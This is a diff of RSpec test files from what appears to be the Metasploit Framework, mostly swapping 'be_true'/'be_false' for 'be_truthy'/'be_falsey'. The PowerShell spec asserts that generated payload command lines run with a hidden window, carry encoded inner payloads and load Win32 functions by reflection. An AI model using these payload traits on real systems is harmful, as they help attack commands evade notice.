decompress(code).include?('while(1){Start-Sleep -s ').should be_false
|
decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -239,7 +239,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'should prepend sleep' do
|
it 'should prepend sleep' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
decompress(code).include?('Start-Sleep -s ').should be_true
|
decompress(code).include?('Start-Sleep -s ').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -250,7 +250,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'shouldnt prepend sleep' do
|
it 'shouldnt prepend sleep' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
decompress(code).include?('Start-Sleep -s ').should be_false
|
decompress(code).include?('Start-Sleep -s ').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -261,7 +261,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'shouldnt prepend sleep' do
|
it 'shouldnt prepend sleep' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
decompress(code).include?('Start-Sleep -s ').should be_false
|
decompress(code).include?('Start-Sleep -s ').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -272,15 +272,15 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'should generate a command line' do
|
it 'should generate a command line' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
decompress(code).include?('-namespace Win32Functions').should be_true
|
decompress(code).include?('-namespace Win32Functions').should be_truthy
|
||||||
end
|
end
|
||||||
it 'shouldnt shorten args' do
|
it 'shouldnt shorten args' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
code.include?('-NoProfile -WindowStyle hidden -Command').should be_true
|
code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy
|
||||||
end
|
end
|
||||||
it 'should include -NoExit' do
|
it 'should include -NoExit' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true
|
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -291,7 +291,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'should generate a command line' do
|
it 'should generate a command line' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
decompress(code).include?('System.Runtime.InteropServices;').should be_true
|
decompress(code).include?('System.Runtime.InteropServices;').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -302,7 +302,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'should generate a command line' do
|
it 'should generate a command line' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
decompress(code).include?('GlobalAssemblyCache').should be_true
|
decompress(code).include?('GlobalAssemblyCache').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -318,7 +318,7 @@ describe Msf::Exploit::Powershell do
|
||||||
rescue RuntimeError
|
rescue RuntimeError
|
||||||
except = true
|
except = true
|
||||||
end
|
end
|
||||||
except.should be_true
|
except.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -333,7 +333,7 @@ describe Msf::Exploit::Powershell do
|
||||||
rescue RuntimeError
|
rescue RuntimeError
|
||||||
except = true
|
except = true
|
||||||
end
|
end
|
||||||
except.should be_true
|
except.should be_truthy
|
||||||
end
|
end
|
||||||
after do
|
after do
|
||||||
subject.datastore['Powershell::method'] = 'reflection'
|
subject.datastore['Powershell::method'] = 'reflection'
|
||||||
|
@ -344,7 +344,7 @@ describe Msf::Exploit::Powershell do
|
||||||
context 'when encode_inner_payload' do
|
context 'when encode_inner_payload' do
|
||||||
it 'should contain an inner payload with -e' do
|
it 'should contain an inner payload with -e' do
|
||||||
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
|
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
|
||||||
code.include?(' -e ').should be_true
|
code.include?(' -e ').should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'when no_equals is true' do
|
context 'when no_equals is true' do
|
||||||
|
@ -355,7 +355,7 @@ describe Msf::Exploit::Powershell do
|
||||||
rescue RuntimeError
|
rescue RuntimeError
|
||||||
except = true
|
except = true
|
||||||
end
|
end
|
||||||
except.should be_true
|
except.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -365,15 +365,15 @@ describe Msf::Exploit::Powershell do
|
||||||
it 'should contain a final payload with -e' do
|
it 'should contain a final payload with -e' do
|
||||||
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
|
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
|
||||||
code.include?(' -e ').should be_true
|
code.include?(' -e ').should be_true
|
||||||
code.include?(' -c ').should be_false
|
code.include?(' -c ').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
context 'when no_equals is true' do
|
context 'when no_equals is true' do
|
||||||
it 'should contain a final payload with -e' do
|
it 'should contain a final payload with -e' do
|
||||||
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
|
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
|
||||||
code.include?(' -e ').should be_true
|
code.include?(' -e ').should be_true
|
||||||
code.include?(' -c ').should be_false
|
code.include?(' -c ').should be_falsey
|
||||||
code.include?('=').should be_false
|
code.include?('=').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
context 'when encode_inner_payload is true' do
|
context 'when encode_inner_payload is true' do
|
||||||
|
@ -384,7 +384,7 @@ describe Msf::Exploit::Powershell do
|
||||||
rescue RuntimeError
|
rescue RuntimeError
|
||||||
except = true
|
except = true
|
||||||
end
|
end
|
||||||
except.should be_true
|
except.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -392,14 +392,14 @@ describe Msf::Exploit::Powershell do
|
||||||
context 'when remove_comspec' do
|
context 'when remove_comspec' do
|
||||||
it 'shouldnt contain %COMSPEC%' do
|
it 'shouldnt contain %COMSPEC%' do
|
||||||
code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
|
code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
|
||||||
code.include?('%COMSPEC%').should be_false
|
code.include?('%COMSPEC%').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'when use single quotes' do
|
context 'when use single quotes' do
|
||||||
it 'should wrap in single quotes' do
|
it 'should wrap in single quotes' do
|
||||||
code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
|
code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
|
||||||
code.include?(' -c \'').should be_true
|
code.include?(' -c \'').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -408,27 +408,27 @@ describe Msf::Exploit::Powershell do
|
||||||
it 'should contain no full stop when :no_full_stop' do
|
it 'should contain no full stop when :no_full_stop' do
|
||||||
opts = {:no_full_stop => true}
|
opts = {:no_full_stop => true}
|
||||||
command = subject.generate_psh_command_line(opts)
|
command = subject.generate_psh_command_line(opts)
|
||||||
command.include?("powershell ").should be_true
|
command.include?("powershell ").should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should contain full stop unless :no_full_stop' do
|
it 'should contain full stop unless :no_full_stop' do
|
||||||
opts = {}
|
opts = {}
|
||||||
command = subject.generate_psh_command_line(opts)
|
command = subject.generate_psh_command_line(opts)
|
||||||
command.include?("powershell.exe ").should be_true
|
command.include?("powershell.exe ").should be_truthy
|
||||||
|
|
||||||
opts = {:no_full_stop => false}
|
opts = {:no_full_stop => false}
|
||||||
command = subject.generate_psh_command_line(opts)
|
command = subject.generate_psh_command_line(opts)
|
||||||
command.include?("powershell.exe ").should be_true
|
command.include?("powershell.exe ").should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should ensure the path should always ends with \\' do
|
it 'should ensure the path should always ends with \\' do
|
||||||
opts = {:path => "test"}
|
opts = {:path => "test"}
|
||||||
command = subject.generate_psh_command_line(opts)
|
command = subject.generate_psh_command_line(opts)
|
||||||
command.include?("test\\powershell.exe ").should be_true
|
command.include?("test\\powershell.exe ").should be_truthy
|
||||||
|
|
||||||
opts = {:path => "test\\"}
|
opts = {:path => "test\\"}
|
||||||
command = subject.generate_psh_command_line(opts)
|
command = subject.generate_psh_command_line(opts)
|
||||||
command.include?("test\\powershell.exe ").should be_true
|
command.include?("test\\powershell.exe ").should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -292,4 +292,4 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -86,4 +86,4 @@ describe Msf::Handler::ReverseHttp::UriChecksum do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,12 +10,12 @@ shared_examples "search_filter" do |opts|
|
||||||
accept.each do |query|
|
accept.each do |query|
|
||||||
it "should accept a query containing '#{query}'" do
|
it "should accept a query containing '#{query}'" do
|
||||||
# if the subject matches, search_filter returns false ("don't filter me out!")
|
# if the subject matches, search_filter returns false ("don't filter me out!")
|
||||||
subject.search_filter(query).should be_false
|
subject.search_filter(query).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
|
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
|
||||||
it "should reject a query containing '-#{query}'" do
|
it "should reject a query containing '-#{query}'" do
|
||||||
subject.search_filter("-#{query}").should be_true
|
subject.search_filter("-#{query}").should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -23,12 +23,12 @@ shared_examples "search_filter" do |opts|
|
||||||
reject.each do |query|
|
reject.each do |query|
|
||||||
it "should reject a query containing '#{query}'" do
|
it "should reject a query containing '#{query}'" do
|
||||||
# if the subject doesn't matches, search_filter returns true ("filter me out!")
|
# if the subject doesn't matches, search_filter returns true ("filter me out!")
|
||||||
subject.search_filter(query).should be_true
|
subject.search_filter(query).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
|
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
|
||||||
it "should accept a query containing '-#{query}'" do
|
it "should accept a query containing '-#{query}'" do
|
||||||
subject.search_filter("-#{query}").should be_true # what? why?
|
subject.search_filter("-#{query}").should be_truthy # what? why?
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -117,7 +117,7 @@ describe Msf::Modules::Loader::Archive do
|
||||||
|
|
||||||
# this checks that the around(:each) is working
|
# this checks that the around(:each) is working
|
||||||
it 'should have an existent FastLib' do
|
it 'should have an existent FastLib' do
|
||||||
File.exist?(@archive_path).should be_true
|
File.exist?(@archive_path).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should ignore .svn directories' do
|
it 'should ignore .svn directories' do
|
||||||
|
@ -127,7 +127,7 @@ describe Msf::Modules::Loader::Archive do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should ignore types that are not enabled' do
|
it 'should ignore types that are not enabled' do
|
||||||
module_manager.type_enabled?(disabled_type).should be_false
|
module_manager.type_enabled?(disabled_type).should be_falsey
|
||||||
|
|
||||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||||
type.should_not == disabled_type
|
type.should_not == disabled_type
|
||||||
|
@ -141,7 +141,7 @@ describe Msf::Modules::Loader::Archive do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do
|
it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do
|
||||||
module_manager.type_enabled?(enabled_type).should be_true
|
module_manager.type_enabled?(enabled_type).should be_truthy
|
||||||
|
|
||||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||||
type.should == enabled_type
|
type.should == enabled_type
|
||||||
|
@ -172,7 +172,7 @@ describe Msf::Modules::Loader::Archive do
|
||||||
path = "path/to/archive#{archive_extension}"
|
path = "path/to/archive#{archive_extension}"
|
||||||
|
|
||||||
File.extname(path).should == described_class::ARCHIVE_EXTENSION
|
File.extname(path).should == described_class::ARCHIVE_EXTENSION
|
||||||
subject.loadable?(path).should be_true
|
subject.loadable?(path).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do
|
it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do
|
||||||
|
@ -180,7 +180,7 @@ describe Msf::Modules::Loader::Archive do
|
||||||
|
|
||||||
path.should include(described_class::ARCHIVE_EXTENSION)
|
path.should include(described_class::ARCHIVE_EXTENSION)
|
||||||
File.extname(path).should_not == described_class::ARCHIVE_EXTENSION
|
File.extname(path).should_not == described_class::ARCHIVE_EXTENSION
|
||||||
subject.loadable?(path).should be_false
|
subject.loadable?(path).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -244,7 +244,7 @@ describe Msf::Modules::Loader::Archive do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should read modules that exist' do
|
it 'should read modules that exist' do
|
||||||
File.exist?(unarchived_path).should be_true
|
File.exist?(unarchived_path).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
around(:each) do |example|
|
around(:each) do |example|
|
||||||
|
|
|
@ -52,7 +52,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be defined' do
|
it 'should be defined' do
|
||||||
described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true
|
described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should map Msf::MODULE_AUX to auxiliary' do
|
it 'should map Msf::MODULE_AUX to auxiliary' do
|
||||||
|
@ -268,7 +268,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false if :force is false' do
|
it 'should return false if :force is false' do
|
||||||
subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false
|
subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not call #read_module_content' do
|
it 'should not call #read_module_content' do
|
||||||
|
@ -335,7 +335,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
subject.stub(:read_module_content => module_content)
|
subject.stub(:read_module_content => module_content)
|
||||||
|
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
namespace_module.parent_path.should == parent_path
|
namespace_module.parent_path.should == parent_path
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -343,7 +343,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
module_manager.stub(:on_module_load)
|
module_manager.stub(:on_module_load)
|
||||||
|
|
||||||
subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content)
|
subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do
|
it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do
|
||||||
|
@ -352,7 +352,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
# if the module eval error includes the module_path then the module_path was passed along correctly
|
# if the module eval error includes the module_path then the module_path was passed along correctly
|
||||||
subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/)
|
subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/)
|
||||||
subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false
|
subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with empty module content' do
|
context 'with empty module content' do
|
||||||
|
@ -361,12 +361,12 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not attempt to make a new namespace_module' do
|
it 'should not attempt to make a new namespace_module' do
|
||||||
subject.should_not_receive(:namespace_module_transaction)
|
subject.should_not_receive(:namespace_module_transaction)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -426,7 +426,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
it 'should record the load error using the original error' do
|
it 'should record the load error using the original error' do
|
||||||
subject.should_receive(:load_error).with(module_path, error)
|
subject.should_receive(:load_error).with(module_path, error)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -457,14 +457,14 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do
|
it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do
|
||||||
subject.should_receive(:load_error).with(module_path, version_compatibility_error)
|
subject.should_receive(:load_error).with(module_path, version_compatibility_error)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
@namespace_module.stub(:version_compatible!).with(module_path, module_reference_name)
|
@namespace_module.stub(:version_compatible!).with(module_path, module_reference_name)
|
||||||
|
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -520,11 +520,11 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
it 'should record the load error' do
|
it 'should record the load error' do
|
||||||
subject.should_receive(:load_error).with(module_path, version_compatibility_error)
|
subject.should_receive(:load_error).with(module_path, version_compatibility_error)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should restore the old namespace module' do
|
it 'should restore the old namespace module' do
|
||||||
|
@ -558,15 +558,15 @@ describe Msf::Modules::Loader::Base do
|
||||||
module_path,
|
module_path,
|
||||||
kind_of(Msf::Modules::MetasploitClassCompatibilityError)
|
kind_of(Msf::Modules::MetasploitClassCompatibilityError)
|
||||||
)
|
)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should restore the old namespace module' do
|
it 'should restore the old namespace module' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
Msf::Modules.const_defined?(relative_name).should be_true
|
Msf::Modules.const_defined?(relative_name).should be_true
|
||||||
Msf::Modules.const_get(relative_name).should == @original_namespace_module
|
Msf::Modules.const_get(relative_name).should == @original_namespace_module
|
||||||
end
|
end
|
||||||
|
@ -583,7 +583,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
it 'should check if it is usable' do
|
it 'should check if it is usable' do
|
||||||
subject.should_receive(:usable?).with(metasploit_class).and_return(true)
|
subject.should_receive(:usable?).with(metasploit_class).and_return(true)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'without usable metasploit_class' do
|
context 'without usable metasploit_class' do
|
||||||
|
@ -593,15 +593,15 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
it 'should log information' do
|
it 'should log information' do
|
||||||
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1)
|
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should restore the old namespace module' do
|
it 'should restore the old namespace module' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
Msf::Modules.const_defined?(relative_name).should be_true
|
Msf::Modules.const_defined?(relative_name).should be_true
|
||||||
Msf::Modules.const_get(relative_name).should == @original_namespace_module
|
Msf::Modules.const_get(relative_name).should == @original_namespace_module
|
||||||
end
|
end
|
||||||
|
@ -615,7 +615,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
it 'should log load information' do
|
it 'should log load information' do
|
||||||
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2)
|
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do
|
it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do
|
||||||
|
@ -623,17 +623,17 @@ describe Msf::Modules::Loader::Base do
|
||||||
module_manager.module_load_error_by_path[module_path] = original_load_error
|
module_manager.module_load_error_by_path[module_path] = original_load_error
|
||||||
|
|
||||||
module_manager.module_load_error_by_path[module_path].should == original_load_error
|
module_manager.module_load_error_by_path[module_path].should == original_load_error
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
module_manager.module_load_error_by_path[module_path].should be_nil
|
module_manager.module_load_error_by_path[module_path].should be_nil
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return true' do
|
it 'should return true' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should call module_manager.on_module_load' do
|
it 'should call module_manager.on_module_load' do
|
||||||
module_manager.should_receive(:on_module_load)
|
module_manager.should_receive(:on_module_load)
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with :recalculate_by_type' do
|
context 'with :recalculate_by_type' do
|
||||||
|
@ -645,8 +645,8 @@ describe Msf::Modules::Loader::Base do
|
||||||
type,
|
type,
|
||||||
module_reference_name,
|
module_reference_name,
|
||||||
:recalculate_by_type => recalculate_by_type
|
:recalculate_by_type => recalculate_by_type
|
||||||
).should be_true
|
).should be_truthy
|
||||||
recalculate_by_type[type].should be_true
|
recalculate_by_type[type].should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -654,13 +654,13 @@ describe Msf::Modules::Loader::Base do
|
||||||
it 'should set the count to 1 if it does not exist' do
|
it 'should set the count to 1 if it does not exist' do
|
||||||
count_by_type = {}
|
count_by_type = {}
|
||||||
|
|
||||||
count_by_type.has_key?(type).should be_false
|
count_by_type.has_key?(type).should be_falsey
|
||||||
subject.load_module(
|
subject.load_module(
|
||||||
parent_path,
|
parent_path,
|
||||||
type,
|
type,
|
||||||
module_reference_name,
|
module_reference_name,
|
||||||
:count_by_type => count_by_type
|
:count_by_type => count_by_type
|
||||||
).should be_true
|
).should be_truthy
|
||||||
count_by_type[type].should == 1
|
count_by_type[type].should == 1
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -675,7 +675,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
type,
|
type,
|
||||||
module_reference_name,
|
module_reference_name,
|
||||||
:count_by_type => count_by_type
|
:count_by_type => count_by_type
|
||||||
).should be_true
|
).should be_truthy
|
||||||
|
|
||||||
incremented_count = original_count + 1
|
incremented_count = original_count + 1
|
||||||
count_by_type[type].should == incremented_count
|
count_by_type[type].should == incremented_count
|
||||||
|
@ -802,7 +802,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return nil if the module is not defined' do
|
it 'should return nil if the module is not defined' do
|
||||||
Msf::Modules.const_defined?(relative_name).should be_false
|
Msf::Modules.const_defined?(relative_name).should be_falsey
|
||||||
subject.send(:current_module, module_names).should be_nil
|
subject.send(:current_module, module_names).should be_nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -838,7 +838,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
it 'should return false if path is hidden' do
|
it 'should return false if path is hidden' do
|
||||||
hidden_path = '.hidden/path/file.rb'
|
hidden_path = '.hidden/path/file.rb'
|
||||||
|
|
||||||
subject.send(:module_path?, hidden_path).should be_false
|
subject.send(:module_path?, hidden_path).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false if the file extension is not MODULE_EXTENSION' do
|
it 'should return false if the file extension is not MODULE_EXTENSION' do
|
||||||
|
@ -846,25 +846,25 @@ describe Msf::Modules::Loader::Base do
|
||||||
path = "path/with/wrong/extension#{non_module_extension}"
|
path = "path/with/wrong/extension#{non_module_extension}"
|
||||||
|
|
||||||
non_module_extension.should_not == described_class::MODULE_EXTENSION
|
non_module_extension.should_not == described_class::MODULE_EXTENSION
|
||||||
subject.send(:module_path?, path).should be_false
|
subject.send(:module_path?, path).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false if the file is a unit test' do
|
it 'should return false if the file is a unit test' do
|
||||||
unit_test_extension = '.rb.ut.rb'
|
unit_test_extension = '.rb.ut.rb'
|
||||||
path = "path/to/unit_test#{unit_test_extension}"
|
path = "path/to/unit_test#{unit_test_extension}"
|
||||||
|
|
||||||
subject.send(:module_path?, path).should be_false
|
subject.send(:module_path?, path).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false if the file is a test suite' do
|
it 'should return false if the file is a test suite' do
|
||||||
test_suite_extension = '.rb.ts.rb'
|
test_suite_extension = '.rb.ts.rb'
|
||||||
path = "path/to/test_suite#{test_suite_extension}"
|
path = "path/to/test_suite#{test_suite_extension}"
|
||||||
|
|
||||||
subject.send(:module_path?, path).should be_false
|
subject.send(:module_path?, path).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return true otherwise' do
|
it 'should return true otherwise' do
|
||||||
subject.send(:module_path?, module_path).should be_true
|
subject.send(:module_path?, module_path).should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1022,7 +1022,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
|
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
|
||||||
false
|
false
|
||||||
}.should be_false
|
}.should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1043,7 +1043,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
it 'should return true' do
|
it 'should return true' do
|
||||||
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
